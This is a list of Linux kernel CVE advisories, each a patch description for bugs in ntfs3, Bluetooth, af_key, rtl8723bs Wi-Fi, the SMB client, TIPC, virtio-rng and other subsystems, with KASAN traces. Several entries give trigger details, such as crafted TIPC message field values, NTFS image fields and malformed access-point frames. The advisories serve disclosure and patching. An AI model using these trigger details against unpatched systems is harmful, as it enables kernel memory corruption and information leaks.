| CVE-2026-64430 | In the Linux kernel, the following vulnerability has been resolved: NTB: epf: Avoid calling pci_irq_vector() from hardirq context ntb_epf_vec_isr() calls pci_irq_vector() in hardirq context to derive the vector number. pci_irq_vector() calls msi_get_virq() that takes a mutex and can therefore trigger "scheduling while atomic" splats: BUG: scheduling while atomic: kworker/u33:0/55/0x00010001 ... Call trace: ... schedule+0x38/0x110 schedule_preempt_disabled+0x28/0x50 __mutex_lock.constprop.0+0x848/0x908 __mutex_lock_slowpath+0x18/0x30 mutex_lock+0x4c/0x60 msi_domain_get_virq+0xe8/0x138 pci_irq_vector+0x2c/0x60 ntb_epf_vec_isr+0x28/0x120 [ntb_hw_epf] __handle_irq_event_percpu+0x70/0x3a8 handle_irq_event+0x48/0x100 handle_edge_irq+0x100/0x1c8 ... Cache the Linux IRQ number for vector 0 when vectors are allocated and use it as a base in the ISR. Running the ISR in a threaded IRQ handler would also avoid the problem, but that would be unnecessary here. |
| CVE-2026-64432 | In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate Dirty Page Table capacity in log_replay copy_lcns In the analysis pass of $LogFile journal replay, log_replay() copies LCNs from each action log record into an existing Dirty Page Table (DPT) entry without bounding the destination index. A crafted NTFS image with DPT entry lcns_follow=1 and an action log record with lcns_follow=2 produces a kernel slab out-of-bounds write at mount time: BUG: KASAN: slab-out-of-bounds in log_replay+0x654c/0xdb60 Write of size 8 at addr ffff8880095e1040 by task mount Two attacker-controlled fields can drive j+i past the allocated page_lcns[] array: 1. dp->lcns_follow (capacity) can be smaller than lrh->lcns_follow. 2. lrh->target_vcn may be smaller than dp->vcn, making the u64 subtraction wrap to a huge size_t. Validate target VCN delta and per-record LCN count against the DPT entry capacity, bail via the existing out: cleanup label with -EINVAL. This mirrors the bounds-check pattern added in commit b2bc7c44ed17 ("fs/ntfs3: Fix slab-out-of-bounds read in DeleteIndexEntryRoot") and commit 0ca0485e4b2e ("fs/ntfs3: validate rec->used in journal-replay file record check"). |
| CVE-2026-64433 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: Fix UAF of hci_conn_params in add_device_complete add_device_complete() runs from the hci_cmd_sync_work kworker, which holds only hci_req_sync_lock and *not* hci_dev_lock. It calls hci_conn_params_lookup() and then dereferences the returned object (params->flags) without taking hci_dev_lock: params = hci_conn_params_lookup(hdev, &cp->addr.bdaddr, le_addr_type(cp->addr.type)); ... device_flags_changed(NULL, hdev, &cp->addr.bdaddr, cp->addr.type, hdev->conn_flags, params ? params->flags : 0); hci_conn_params_lookup() walks hdev->le_conn_params and is documented to require hdev->lock. A concurrent MGMT_OP_REMOVE_DEVICE (remove_device()), which does run under hci_dev_lock, can call hci_conn_params_free() to list_del() and kfree() the very object the lookup returned, so the subsequent params->flags read touches freed memory [0]. Hold hci_dev_lock() across the hci_conn_params_lookup() and the read of params->flags (and the matching event emission) so the lookup result cannot be freed by a concurrent remove_device() before it is used, honouring the locking contract of hci_conn_params_lookup(). [0]: (trailing page/memory-state dump trimmed) BUG: KASAN: slab-use-after-free in add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671 Read of size 1 at addr ffff000017ab26c1 by task kworker/u9:8/388 CPU: 1 UID: 0 PID: 388 Comm: kworker/u9:8 Not tainted 7.0.11 #20 PREEMPT Hardware name: linux,dummy-virt (DT) Workqueue: hci0 hci_cmd_sync_work Call trace: show_stack+0x2c/0x3c arch/arm64/kernel/stacktrace.c:499 (C) __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0xb4/0xd4 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x118/0x5d8 mm/kasan/report.c:482 kasan_report+0xb0/0xf4 mm/kasan/report.c:595 __asan_report_load1_noabort+0x20/0x2c mm/kasan/report_generic.c:378 add_device_complete+0x358/0x3d8 net/bluetooth/mgmt.c:7671 hci_cmd_sync_work+0x14c/0x240 net/bluetooth/hci_sync.c:334 process_one_work+0x628/0xd38 kernel/workqueue.c:3289 process_scheduled_works kernel/workqueue.c:3372 [inline] worker_thread+0x7a8/0xac0 kernel/workqueue.c:3453 kthread+0x39c/0x444 kernel/kthread.c:436 ret_from_fork+0x10/0x20 arch/arm64/kernel/entry.S:860 Allocated by task 3401: kasan_save_stack+0x3c/0x64 mm/kasan/common.c:57 kasan_save_track+0x20/0x3c mm/kasan/common.c:78 kasan_save_alloc_info+0x40/0x54 mm/kasan/generic.c:570 poison_kmalloc_redzone mm/kasan/common.c:398 [inline] __kasan_kmalloc+0xd4/0xd8 mm/kasan/common.c:415 kasan_kmalloc include/linux/kasan.h:263 [inline] __kmalloc_cache_noprof+0x1b0/0x458 mm/slub.c:5385 kmalloc_noprof include/linux/slab.h:950 [inline] kzalloc_noprof include/linux/slab.h:1188 [inline] hci_conn_params_add+0x10c/0x4b0 net/bluetooth/hci_core.c:2279 hci_conn_params_set net/bluetooth/mgmt.c:5162 [inline] add_device+0x5b4/0xa54 net/bluetooth/mgmt.c:7755 hci_mgmt_cmd net/bluetooth/hci_sock.c:1721 [inline] hci_sock_sendmsg+0x10b4/0x1dd0 net/bluetooth/hci_sock.c:1841 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xe0/0x128 net/socket.c:742 sock_write_iter+0x250/0x390 net/socket.c:1195 new_sync_write fs/read_write.c:595 [inline] vfs_write+0x66c/0xab0 fs/read_write.c:688 ksys_write+0x1fc/0x24c fs/read_write.c:740 __do_sys_write fs/read_write.c:751 [inline] __se_sys_write fs/read_write.c:748 [inline] __arm64_sys_write+0x70/0xa4 fs/read_write.c:748 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline] invoke_syscall+0x84/0x2a8 arch/arm64/kernel/syscall.c:49 el0_svc_common.constprop.0+0xe4/0x294 arch/arm64/kernel/syscall.c:132 do_el0_svc+0x44/0x5c arch/arm64/kernel/syscall.c:151 el0_svc+0x38/0xac arch/arm64/kernel/entry-common.c:724 el0t_64_sync_handler+0xa0/0xe4 arch/arm64/kernel/entry-common.c:743 el0t_64_sync+0x198/0x19c arch/arm64/kernel/entry.S:596 Freed by task 3740: kasan_save_stack+0x3c/0x64 ---truncated--- |
| CVE-2026-64435 | In the Linux kernel, the following vulnerability has been resolved: audit: Fix data races of skb_queue_len() readers on audit_queue Multiple readers access audit_queue.qlen via skb_queue_len() without holding the queue lock or using READ_ONCE(), while kauditd writes to this field via the skb_dequeue() → __skb_unlink() path with WRITE_ONCE() protected by a spinlock. This constitutes data races. All affected skb_queue_len(&audit_queue) call sites: - kauditd_thread() wait_event_freezable() condition - audit_receive_msg() AUDIT_GET handler (s.backlog assignment) - audit_receive() backlog check - audit_log_start() backlog check and pr_warn() KCSAN reports the following conflicting access pattern (one example): ================================================================== BUG: KCSAN: data-race in audit_log_start / skb_dequeue write (marked) to 0xffffffff8512ee20 of 4 bytes by task 661 on cpu 57: skb_dequeue+0x70/0xf0 kauditd_send_queue+0x71/0x220 kauditd_thread+0x1cb/0x430 kthread+0x1c2/0x210 ret_from_fork+0x162/0x1a0 ret_from_fork_asm+0x1a/0x30 read to 0xffffffff8512ee20 of 4 bytes by task 36586 on cpu 1: audit_log_start+0x2a0/0x6b0 audit_core_dumps+0x64/0xa0 do_coredump+0x14b/0x1260 get_signal+0xeb2/0xf70 arch_do_signal_or_restart+0x41/0x170 exit_to_user_mode_loop+0xa2/0x1c0 do_syscall_64+0x1a3/0x1c0 entry_SYSCALL_64_after_hwframe+0x76/0xe0 value changed: 0x00000001 -> 0x00000000 ================================================================== Resolve the race by switching to lockless helper skb_queue_len_lockless(), which internally uses READ_ONCE() and properly pairs with the WRITE_ONCE() write accesses already present on the writer side. [PM: line length tweak] |
| CVE-2026-64436 | In the Linux kernel, the following vulnerability has been resolved: net: af_key: initialize alg_key_len for IPComp states pfkey_msg2xfrm_state() handles the IPComp (SADB_X_SATYPE_IPCOMP) case by allocating x->calg and copying only the algorithm name: x->calg = kmalloc_obj(*x->calg); if (!x->calg) { err = -ENOMEM; goto out; } strcpy(x->calg->alg_name, a->name); x->props.calgo = sa->sadb_sa_encrypt; Unlike the authentication (x->aalg) and encryption (x->ealg) branches of the same function, the compression branch never initializes calg->alg_key_len. IPComp carries no key and the allocation only reserves sizeof(struct xfrm_algo) (i.e. no room for a key), so the field is left containing uninitialized slab data. calg->alg_key_len is later used as a length by xfrm_algo_clone() when an IPComp state is cloned during XFRM_MSG_MIGRATE: xfrm_state_migrate() xfrm_state_clone_and_setup() x->calg = xfrm_algo_clone(orig->calg); kmemdup(orig, xfrm_alg_len(orig)); where xfrm_alg_len() returns sizeof(*alg) + (alg_key_len + 7) / 8. With a non-zero garbage alg_key_len, kmemdup() reads past the end of the 68-byte calg object. Adding an IPComp SA via PF_KEY and then migrating it triggers (net-next, KASAN, init_on_alloc=0): BUG: KASAN: slab-out-of-bounds in kmemdup_noprof+0x44/0x60 Read of size 4164 at addr ff11000025a74980 by task diag2/9287 CPU: 3 UID: 0 PID: 9287 Comm: diag2 7.1.0-rc6-g903db046d557 #1 Call Trace: <TASK> dump_stack_lvl+0x10e/0x1f0 print_report+0xf7/0x600 kasan_report+0xe4/0x120 kasan_check_range+0x105/0x1b0 __asan_memcpy+0x23/0x60 kmemdup_noprof+0x44/0x60 xfrm_state_migrate+0x70a/0x1da0 xfrm_migrate+0x753/0x18a0 xfrm_do_migrate+0xb47/0xf10 xfrm_user_rcv_msg+0x411/0xb50 netlink_rcv_skb+0x158/0x420 xfrm_netlink_rcv+0x71/0x90 netlink_unicast+0x584/0x850 netlink_sendmsg+0x8b0/0xdc0 ____sys_sendmsg+0x9f7/0xb90 ___sys_sendmsg+0x134/0x1d0 __sys_sendmsg+0x16d/0x220 do_syscall_64+0x116/0x7d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Allocated by task 9287: kasan_save_stack+0x33/0x60 kasan_save_track+0x14/0x30 __kasan_kmalloc+0xaa/0xb0 pfkey_add+0x2652/0x2ea0 pfkey_process+0x6d0/0x830 pfkey_sendmsg+0x42c/0x850 __sys_sendto+0x461/0x4b0 __x64_sys_sendto+0xe0/0x1c0 do_syscall_64+0x116/0x7d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f The buggy address belongs to the object at ff11000025a74980 which belongs to the cache kmalloc-96 of size 96 The buggy address is located 0 bytes inside of allocated 68-byte region [ff11000025a74980, ff11000025a749c4) Depending on the uninitialized value the same field can instead request an oversized kmemdup() allocation and make the migration clone fail. The XFRM netlink path is not affected: verify_one_alg() rejects an XFRMA_ALG_COMP attribute shorter than xfrm_alg_len(), so a calg added via XFRM_MSG_NEWSA is always self-consistent. Initialize calg->alg_key_len to 0, matching the aalg/ealg branches. |
| CVE-2026-64438 | In the Linux kernel, the following vulnerability has been resolved: crypto: qat - fix VF2PF work teardown race in adf_disable_sriov() The VF2PF interrupt handler queues PF-side response work that stores a raw pointer to per-VF state (struct adf_accel_vf_info). Currently, adf_disable_sriov() destroys per-VF mutexes and frees vf_info without stopping new VF2PF work or waiting for in-flight workers to complete. A concurrently scheduled or already queued worker can then dereference freed memory. This manifests as a use-after-free when KASAN is enabled: BUG: KASAN: null-ptr-deref in mutex_lock+0x76/0xe0 Write of size 8 at addr 0000000000000260 by task kworker/24:2/... Workqueue: qat_pf2vf_resp_wq adf_iov_send_resp [intel_qat] Call Trace: kasan_report+0x119/0x140 mutex_lock+0x76/0xe0 adf_gen4_pfvf_send+0xd4/0x1f0 [intel_qat] adf_recv_and_handle_vf2pf_msg+0x290/0x360 [intel_qat] adf_iov_send_resp+0x8c/0xe0 [intel_qat] process_one_work+0x6ac/0xfd0 worker_thread+0x4dd/0xd30 kthread+0x326/0x410 ret_from_fork+0x33b/0x670 Add a PF-local flag, vf2pf_disabled, that gates work queueing, worker processing, and interrupt re-enabling during teardown. Set this flag atomically with the hardware interrupt mask inside adf_disable_all_vf2pf_interrupts(). After masking, synchronize the AE cluster MSI-X interrupt and flush the PF response workqueue before tearing down per-VF locks and state so all in-flight work completes before vf_info is destroyed. Introduce adf_enable_all_vf2pf_interrupts() to clear the flag and unmask all VF2PF interrupts under the same lock when SR-IOV is re-enabled. This ensures the software flag and hardware state transition atomically on both the enable and disable paths. |
| CVE-2026-64440 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB write in HT_caps_handler() HT_caps_handler() iterates pIE->length bytes and writes into HT_caps.u.HT_cap[], which is a fixed 26-byte array (sizeof struct HT_caps_element). Because pIE->length is a raw u8 from an over-the-air 802.11 AssocResponse frame and is never validated, a malicious AP can set it up to 255, causing up to 229 bytes of out-of-bounds writes into adjacent fields of struct mlme_ext_info. Truncate the iteration count to the size of HT_caps.u.HT_cap using umin() so that data from a longer-than-expected IE is silently ignored rather than written out of bounds, preserving interoperability with APs that pad the element. An early return on oversized IEs was considered but rejected: it would bypass the pmlmeinfo->HT_caps_enable = 1 assignment that precedes the loop, silently disabling HT mode for APs that append extra bytes to the HT Capabilities IE. |
| CVE-2026-64441 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB reads in rtw_get_sec_ie(), rtw_get_wapi_ie(), and rtw_get_wps_attr() Three IE/attribute parsing functions have missing bounds checks. rtw_get_sec_ie() and rtw_get_wapi_ie() iterate over a raw IE buffer without verifying that the header bytes (tag + length) are within the remaining buffer before reading them. Additionally, rtw_get_sec_ie() compares the 4-byte WPA OUI at cnt+2 without checking that at least 6 bytes remain, and rtw_get_wapi_ie() compares a 4-byte WAPI OUI at cnt+6 without checking that at least 10 bytes remain. rtw_get_wps_attr() reads wps_ie[0] and wps_ie+2 unconditionally at entry, before verifying that wps_ielen is large enough to contain the 6-byte WPS IE header (element_id + length + 4-byte OUI). Inside the attribute loop, get_unaligned_be16() is called on attr_ptr and attr_ptr+2 without checking that 4 bytes remain in the buffer. Add a cnt+2 bounds check before each loop body in rtw_get_sec_ie() and rtw_get_wapi_ie(), guard each multi-byte comparison with a minimum IE length requirement, add a wps_ielen < 6 early return in rtw_get_wps_attr(), and add a 4-byte bounds check in its inner loop. |
| CVE-2026-64442 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB reads in IE loops in issue_assocreq() and join_cmd_hdl() Two IE parsing loops are missing the header bounds checks before they dereference pIE->length: - issue_assocreq() walks pmlmeinfo->network.ies to build the association request. If the stored IE data ends with only an element_id byte and no length byte, pIE->length is read one byte past the end of the buffer. - join_cmd_hdl() walks pnetwork->ies during station join and has the same problem under the same conditions. Both buffers are filled from AP beacon and probe-response frames, so a malicious AP that sends a truncated final IE can trigger the issue. Apply the two-guard pattern established in update_beacon_info(): 1. Break if fewer than sizeof(*pIE) bytes remain. 2. Break if the IE's declared data extends past the buffer end. |
| CVE-2026-64443 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in update_beacon_info() IE loop The IE parsing loop in update_beacon_info() advances by (pIE->length + 2) each iteration but only guards on i < len. When a malicious AP sends a Beacon whose last IE has only one byte remaining in the frame (the element_id byte lands at len-1), the loop reads pIE->length from one byte past the allocated receive buffer. Additionally, even when the header bytes are in bounds, pIE->length itself can extend the data window beyond len, passing a truncated IE to the handler functions. Add two guards at the top of the loop body: 1. Break if fewer than sizeof(*pIE) bytes remain (can't read header). 2. Break if the IE's declared data extends past len. Also replace i += (pIE->length + 2) with i += sizeof(*pIE) + pIE->length for consistency with the sizeof(*pIE) guards added above. |
| CVE-2026-64444 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in OnAssocRsp() IE loop The IE parsing loop in OnAssocRsp() advances by (pIE->length + 2) each iteration but only guards on i < pkt_len. When a malicious AP sends an AssocResponse whose last IE has only one byte remaining in the frame (the element_id byte lands at pkt_len-1), the loop reads pIE->length from pframe[pkt_len], which is one byte past the allocated receive buffer. Additionally, even when the header bytes are in bounds, pIE->length itself can extend the data window beyond pkt_len, silently passing a truncated IE to the handler functions. Add two guards at the top of the loop body: 1. Break if fewer than sizeof(*pIE) bytes remain (can't read header). 2. Break if the IE's declared data extends past pkt_len. |
| CVE-2026-64445 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix WEP length underflow and OOB read in OnAuth() OnAuth() has two bugs in the shared-key authentication path. When the Privacy bit is set, rtw_wep_decrypt() is called without verifying that the frame is long enough to contain a valid WEP IV and ICV. Inside rtw_wep_decrypt(), length is computed as: length = len - WLAN_HDR_A3_LEN - iv_len and then passed as (length - 4) to crc32_le(). If len is less than WLAN_HDR_A3_LEN + iv_len + icv_len (32 bytes), length - 4 is negative and, after the implicit cast to size_t, causes crc32_le() to read far beyond the frame buffer. Add a minimum length check before accessing the IV field and calling the decryption path. When processing a seq=3 response, rtw_get_ie() stores the Challenge Text IE length in ie_len, but the subsequent memcmp() always reads 128 bytes regardless of ie_len. IEEE 802.11 mandates a challenge text of exactly 128 bytes; reject any IE whose length field differs, matching the check already applied to OnAuthClient(). |
| CVE-2026-64446 | In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix heap buffer overflow in rtw_cfg80211_set_wpa_ie() supplicant_ie is a 256-byte array in struct security_priv. The WPA and WPA2 IE copy paths use: memcpy(padapter->securitypriv.supplicant_ie, &pwpa[0], wpa_ielen + 2); where wpa_ielen is the raw IE length field (u8, 0-255). When a local user supplies a connect request via nl80211 with a crafted WPA IE of length 255, wpa_ielen + 2 equals 257, overflowing the 256-byte buffer by one byte into the adjacent last_mic_err_time field. rtw_parse_wpa_ie() does not prevent this: its length consistency check compares *(wpa_ie+1) against (u8)(wpa_ie_len-2), which is (u8)(255) == 255 when wpa_ie_len = 257, so the check passes silently. Add explicit bounds checks for both the WPA and WPA2 paths before the memcpy, rejecting any IE whose total size (wpa_ielen + 2) exceeds the supplicant_ie buffer. |
| CVE-2026-64448 | In the Linux kernel, the following vulnerability has been resolved: smb: client: restrict implied bcc[0] exemption to responses without data area smb2_check_message() has a long-standing quirk that accepts a response whose calculated length is one byte larger than the bytes actually received ("server can return one byte more due to implied bcc[0]"). This was introduced to accommodate servers that omit the trailing bcc[0] overlap byte when no data area is present. However, the exemption is applied unconditionally, regardless of whether the command actually carries a data area (has_smb2_data_area[]). When a response with a data area is subject to the +1 exemption, the reported data can extend one byte beyond the bytes actually received, yet smb2_check_message() still accepts it. The subsequent decoder then reads past the end of the receive buffer. This is reachable during NEGOTIATE and SESSION_SETUP, before the session is established. The resulting out-of-bounds reads are visible under KASAN when mounting against a non-conforming server; both the SPNEGO/negTokenInit and the NTLMSSP challenge decoders are affected: BUG: KASAN: slab-out-of-bounds in asn1_ber_decoder+0x16a7/0x1b00 Read of size 1 at addr ffff8880084d67c0 by task mount.cifs/81 CPU: 1 UID: 0 PID: 81 Comm: mount.cifs Not tainted 7.1.0-rc6 #1 Call Trace: <TASK> dump_stack_lvl+0x4e/0x70 print_report+0x157/0x4c9 kasan_report+0xce/0x100 asn1_ber_decoder+0x16a7/0x1b00 decode_negTokenInit+0x19/0x30 SMB2_negotiate+0x31d9/0x4c90 cifs_negotiate_protocol+0x1f2/0x3f0 cifs_get_smb_ses+0x93f/0x17e0 cifs_mount_get_session+0x7f/0x3a0 cifs_mount+0xb4/0xcf0 cifs_smb3_do_mount+0x23a/0x1500 smb3_get_tree+0x3b0/0x630 vfs_get_tree+0x82/0x2d0 fc_mount+0x10/0x1b0 path_mount+0x50d/0x1de0 __x64_sys_mount+0x20b/0x270 do_syscall_64+0xee/0x590 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Allocated by task 85: kmem_cache_alloc_noprof+0x106/0x380 mempool_alloc_noprof+0x116/0x1e0 cifs_small_buf_get+0x31/0x80 allocate_buffers+0x10d/0x2b0 cifs_demultiplex_thread+0x1d5/0x1d50 kthread+0x2c6/0x390 ret_from_fork+0x36e/0x5a0 ret_from_fork_asm+0x1a/0x30 The buggy address is located 0 bytes to the right of allocated 448-byte region [ffff8880084d6600, ffff8880084d67c0) which belongs to the cache cifs_small_rq of size 448 BUG: KASAN: slab-out-of-bounds in kmemdup_noprof+0x36/0x50 Read of size 329 at addr ffff88800726c678 by task mount.cifs/89 CPU: 0 UID: 0 PID: 89 Comm: mount.cifs Tainted: G B 7.1.0-rc6 #1 Call Trace: <TASK> dump_stack_lvl+0x4e/0x70 print_report+0x157/0x4c9 kasan_report+0xce/0x100 kasan_check_range+0x10f/0x1e0 __asan_memcpy+0x23/0x60 kmemdup_noprof+0x36/0x50 decode_ntlmssp_challenge+0x457/0x680 SMB2_sess_auth_rawntlmssp_negotiate+0x6f0/0xcb0 SMB2_sess_setup+0x219/0x4f0 cifs_setup_session+0x248/0xaf0 cifs_get_smb_ses+0xf79/0x17e0 cifs_mount_get_session+0x7f/0x3a0 cifs_mount+0xb4/0xcf0 cifs_smb3_do_mount+0x23a/0x1500 smb3_get_tree+0x3b0/0x630 vfs_get_tree+0x82/0x2d0 fc_mount+0x10/0x1b0 path_mount+0x50d/0x1de0 __x64_sys_mount+0x20b/0x270 do_syscall_64+0xee/0x590 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Allocated by task 93: kmem_cache_alloc_noprof+0x106/0x380 mempool_alloc_noprof+0x116/0x1e0 cifs_small_buf_get+0x31/0x80 allocate_buffers+0x10d/0x2b0 cifs_demultiplex_thread+0x1d5/0x1d50 kthread+0x2c6/0x390 ret_from_fork+0x36e/0x5a0 ret_from_fork_asm+0x1a/0x30 The buggy address is located 120 bytes inside of allocated 448-byte region [ffff88800726c600, ffff88800726c7c0) which belongs to the cache cifs_small_rq of size 448 Restrict the +1 exemption to responses that have no data area, so that it still covers the bcc[0] omission it was meant for. When a data area is present, the +1 discrepancy instead means the reported data length overruns the ---truncated--- |
| CVE-2026-64449 | In the Linux kernel, the following vulnerability has been resolved: staging: vme_user: bound slave read/write to the kern_buf size The SLAVE-path helpers buffer_to_user() and buffer_from_user() copy 'count' bytes into/out of the fixed-size kern_buf (size_buf == PCI_BUF_SIZE == 0x20000, 128 KiB) using *ppos as the offset, without bounding *ppos + count against size_buf. vme_user_write()/vme_user_read() only clamp count to the VME window size (image_size = vme_get_size(resource)), which VME_SET_SLAVE sets from the user-supplied slave.size -- validated against the VME address space (up to VME_A32_MAX = 4 GiB), not against PCI_BUF_SIZE. When the window exceeds 128 KiB, a write()/read() copies past the kern_buf allocation. Clamp count against size_buf in both helpers, with an early return when *ppos is already at/after the buffer end. *ppos is >= 0 here (the caller rejects negative offsets), so size_buf - *ppos cannot wrap. This mirrors the existing clamp in the MASTER-path helpers resource_to_user() / resource_from_user(), and matches the read()/write() convention of a short transfer at end-of-buffer. Found by static analysis (CodeQL taint tracking + CBMC bounded model checking) and confirmed dynamically under KASAN with the vme_fake bridge: BUG: KASAN: slab-out-of-bounds in _copy_from_user+0x2d/0x80 Write of size 262144 at addr ffff888004100000 by task trigger/68 _copy_from_user+0x2d/0x80 vme_user_write+0x13e/0x240 [vme_user] vfs_write+0x1b8/0x7a0 ksys_write+0xb8/0x150 |
| CVE-2026-64450 | In the Linux kernel, the following vulnerability has been resolved: tipc: fix out-of-bounds read in broadcast Gap ACK blocks A broadcast PROTOCOL/STATE_MSG can carry a Gap ACK blocks record in its data area. tipc_get_gap_ack_blks() only verifies that the record's len field is self-consistent with its ugack_cnt/bgack_cnt counts (sz == struct_size(p, gacks, ugack_cnt + bgack_cnt)); it does not check that the record actually fits in the message data area, msg_data_sz(). The unicast caller tipc_link_proto_rcv() bounds it ("if (glen > dlen) break;"), but the broadcast caller tipc_bcast_sync_rcv() discards the returned size, so tipc_link_advance_transmq() copies the record off the receive skb with an attacker-controlled count: this_ga = kmemdup(ga, struct_size(ga, gacks, ga->bgack_cnt), GFP_ATOMIC); A TIPC neighbour that negotiated TIPC_GAP_ACK_BLOCK triggers it with one ordinary broadcast STATE_MSG (msg_bc_ack_invalid() clear), sized so its data area is short, carrying a Gap ACK record with len = 0x400, bgack_cnt = 0xff and ugack_cnt = 0. len then equals struct_size(p, gacks, 255), so the consistency check passes and ga is non-NULL; kmemdup() reads struct_size(ga, gacks, 255) = 1024 bytes out of the much smaller skb: BUG: KASAN: slab-out-of-bounds in kmemdup_noprof+0x48/0x60 Read of size 1024 at addr ffff0000c7030d38 by task poc864/69 Call trace: kmemdup_noprof+0x48/0x60 tipc_link_advance_transmq+0x86c/0xb80 tipc_link_bc_ack_rcv+0x19c/0x1e0 tipc_bcast_sync_rcv+0x1c4/0x2c4 tipc_rcv+0x85c/0x1340 tipc_l2_rcv_msg+0xac/0x104 The buggy address belongs to the object at ffff0000c7030d00 which belongs to the cache skbuff_small_head of size 704 The buggy address is located 56 bytes inside of allocated 704-byte region [ffff0000c7030d00, ffff0000c7030fc0) The copied-out bytes are subsequently consumed as gap/ack values, but the read is already out of bounds at the kmemdup() regardless of how they are used. The unicast STATE path drops such a message: "if (glen > dlen) break;" skips the rest of STATE_MSG handling and the skb is freed. Make the broadcast path drop it too. tipc_bcast_sync_rcv() now bounds the record against msg_data_sz() and, when it does not fit, reports it back through tipc_node_bc_sync_rcv() to tipc_rcv() so the skb is discarded rather than processed. ga is not cleared on this path: ga == NULL already means "legacy peer without Selective ACK", a distinct legitimate state. |
| CVE-2026-64452 | In the Linux kernel, the following vulnerability has been resolved: 6lowpan: fix NHC entry use-after-free on error path lowpan_nhc_do_uncompression() looks up an NHC descriptor while holding lowpan_nhc_lock. If the descriptor has no uncompress callback, the error path drops the lock before printing nhc->name. lowpan_nhc_del() removes descriptors under the same lock and then relies on synchronize_net() before the owning module can be unloaded. That only waits for net RX RCU readers. lowpan_header_decompress() is also exported and can be reached from callers that are not necessarily covered by the net core RX critical section, for example the Bluetooth 6LoWPAN L2CAP receive path. This leaves a race where one task drops lowpan_nhc_lock in the error path, another task unregisters and frees the matching descriptor after synchronize_net() returns, and the first task then dereferences nhc->name for the warning. With the post-unlock window widened, KASAN reports: BUG: KASAN: slab-use-after-free in lowpan_nhc_do_uncompression+0x1f4/0x220 Read of size 8 lowpan_nhc_do_uncompression lowpan_header_decompress Fix this by printing the warning before dropping lowpan_nhc_lock, so the descriptor name is read while unregister is still excluded. The malformed packet is still rejected with -ENOTSUPP. |
| CVE-2026-64454 | In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: run gadget disconnect from sleepable suspend context dwc3_gadget_suspend() takes dwc->lock with IRQs disabled and then calls dwc3_disconnect_gadget(). For async callbacks that helper only uses plain spin_unlock()/spin_lock(), so the gadget ->disconnect() callback still runs with IRQs disabled and any sleepable callback trips Lockdep. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the dwc3_gadget_suspend() -> dwc3_disconnect_gadget() -> gadget_driver->disconnect() chain, and Lockdep reported: BUG: sleeping function called from invalid context gadget_disconnect+0x21/0x39 [vuln_msv] dwc3_gadget_suspend.constprop.0+0x2b/0x42 [vuln_msv] Keep the disconnect callback selection in one common helper, but add a sleepable suspend-side wrapper which snapshots the callback under dwc->lock and then runs it after spin_unlock_irqrestore(). The regular event path still uses the existing spin_unlock()/spin_lock() window. |
| CVE-2026-64455 | In the Linux kernel, the following vulnerability has been resolved: USB: chaoskey: Fix slab-use-after-free in chaoskey_release() The chaoskey driver has a use-after-free bug in its release routine. If the user closes the device file after the USB device has been unplugged, a debugging log statement will try to access the usb_interface structure after it has been deallocated: BUG: KASAN: slab-use-after-free in dev_driver_string (drivers/base/core.c:2406) Read of size 8 at addr ffff888168e8a0b8 by task chaoskey_raw_re/10106 Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: <TASK> dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120) print_report (mm/kasan/report.c:378 mm/kasan/report.c:482) kasan_report (mm/kasan/report.c:595) dev_driver_string (drivers/base/core.c:2406) __dynamic_dev_dbg (lib/dynamic_debug.c:906) chaoskey_release (drivers/usb/misc/chaoskey.c:323) __fput (fs/file_table.c:510) fput_close_sync (fs/file_table.c:615) __x64_sys_close (fs/open.c:1507 fs/open.c:1492 fs/open.c:1492) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) The driver's last reference to the interface structure is dropped in the chaoskey_free() routine, so the code must not use the interface -- even in a debugging statement -- after that routine returns. (Exception: If we know that another reference is held by someone else, such as the device core while the disconnect routine runs, there's no problem. Thanks to Johan Hovold for pointing this out.) Since the bad access is part of an unimportant debugging statement, we can fix the problem simply by removing the whole statement. |
| CVE-2026-64456 | In the Linux kernel, the following vulnerability has been resolved: hwrng: virtio: clamp device-reported used.len at copy_data() random_recv_done() stores the device-reported used.len directly into vi->data_avail. copy_data() then indexes vi->data[] using vi->data_idx (advanced by previous copy_data() calls) and issues a memcpy() without re-validating either value against the posted buffer size sizeof(vi->data) (SMP_CACHE_BYTES bytes, typically 32 or 64). A malicious or buggy virtio-rng backend can set used.len beyond sizeof(vi->data), steering the memcpy() past the end of the inline array into adjacent kmalloc-1k slab bytes. hwrng_fillfn() mixes those bytes into the guest RNG, and guest root can also observe them directly via /dev/hwrng. Concrete impact is inside the guest: - Memory-safety / hardening: any virtio-rng backend that over-reports used.len causes the driver to read past vi->data into unrelated slab contents. hwrng_fillfn() is a kernel thread that runs as soon as the device is probed; no guest userspace interaction is required to first-trigger the OOB. - Cross-boundary leak (confidential-compute threat model): a malicious hypervisor cooperating with a malicious or compromised guest root userspace can use /dev/hwrng as a leak channel for guest-kernel heap data. The host sets a large used.len, guest root reads /dev/hwrng, and the returned bytes contain guest kernel slab contents that were adjacent to vi->data. In practice, confidential-compute guests (SEV-SNP, TDX) usually disable virtio-rng entirely, so this path is 